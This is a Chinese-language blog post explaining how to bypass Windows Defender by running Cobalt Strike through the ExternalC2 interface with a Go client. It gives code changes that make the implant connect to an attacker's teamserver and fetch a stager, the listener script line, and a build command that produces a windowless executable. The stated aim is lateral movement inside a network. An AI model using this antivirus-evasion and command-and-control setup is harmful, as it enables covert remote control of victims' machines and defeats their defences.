Cs利用ExternalC2 绕过AV
Cs利用ExternalC2 绕过AV
Blog:http://blog.f5.pm/
写在前面
此前遇到一个最新版的Windows Defender,一直想上Cs打内网方便一点,但是奈何一直绕不过去,大概试了这些方法
1. Veil Go/C#/Psh shellcode loader
2. Floov shellcode loader
3. GSL shellcode loader
4. Darkarmour 混淆
5. Powershell混淆
6. 等等payload加载器
然后最近看文章发现俩个东西(感谢俩位开发者):
https://github.com/gloxec/CrossC2
https://github.com/Lz1y/GECC/
这是俩个Cs的ExternalC2,cs除了默认内置的控制方式以外还支持自定义c2的开发
第一个CrossC2是一个支持Linux系统的客户端,不过不太完善支持shell操作
第二个是一个Golang开发的windows的客户端,理论上来说之前通过研究发现Defender拦截的是启动时候的打头马,和上线之后发送的stage,如果使用自定义的c2,那么stage的特征就变了就可以达到绕过Defender等其他Av的目的
修改代码
先修改一下Main.go中的代码,把8.8.8.8改成你自己的teamserver就可以了
func main() {
conn, err := net.Dial("tcp", "8.8.8.8:2222")
if err != nil {
println(err.Error())
return
}
a := &SocketChannel{conn, isDebug}
stager := a.getStager()
我这里修改成了从参数加载,省的以后重新编译了
import (
"encoding/base64"
"encoding/binary"
"fmt"
"log"
"net"
"os" //加一个这个
"runtime"
"time"
"./invokedll"
. "github.com/microsoft/go-winio"
)
....
func main() {
conn, err := net.Dial("tcp", os.Args[1])
//参数还可以做一下加密处理,防止直接看到teamserver的地址
然后新建一个cna脚本,端口就是上面的端口
externalc2_start("0.0.0.0",2222)
安装编译
该程序似乎不能跨平台编译,所以需要一台window环境
需要安装:Golang,MingW-w64
然后打开Mingw切换到项目目录编译就可以了
C:\Program Files\mingw-w64\x86_64-8.1.0-posix-seh-rt_v6-rev0\mingw-w64.bat
go build -o bin/win.exe -ldflags "-H=windowsgui -s -w" main.go
成功上线
首次上线的时候没有外网IP,还有扫描的时候会掉线,lasttime也不会更新,可以直接spawn一个新的listener就可以了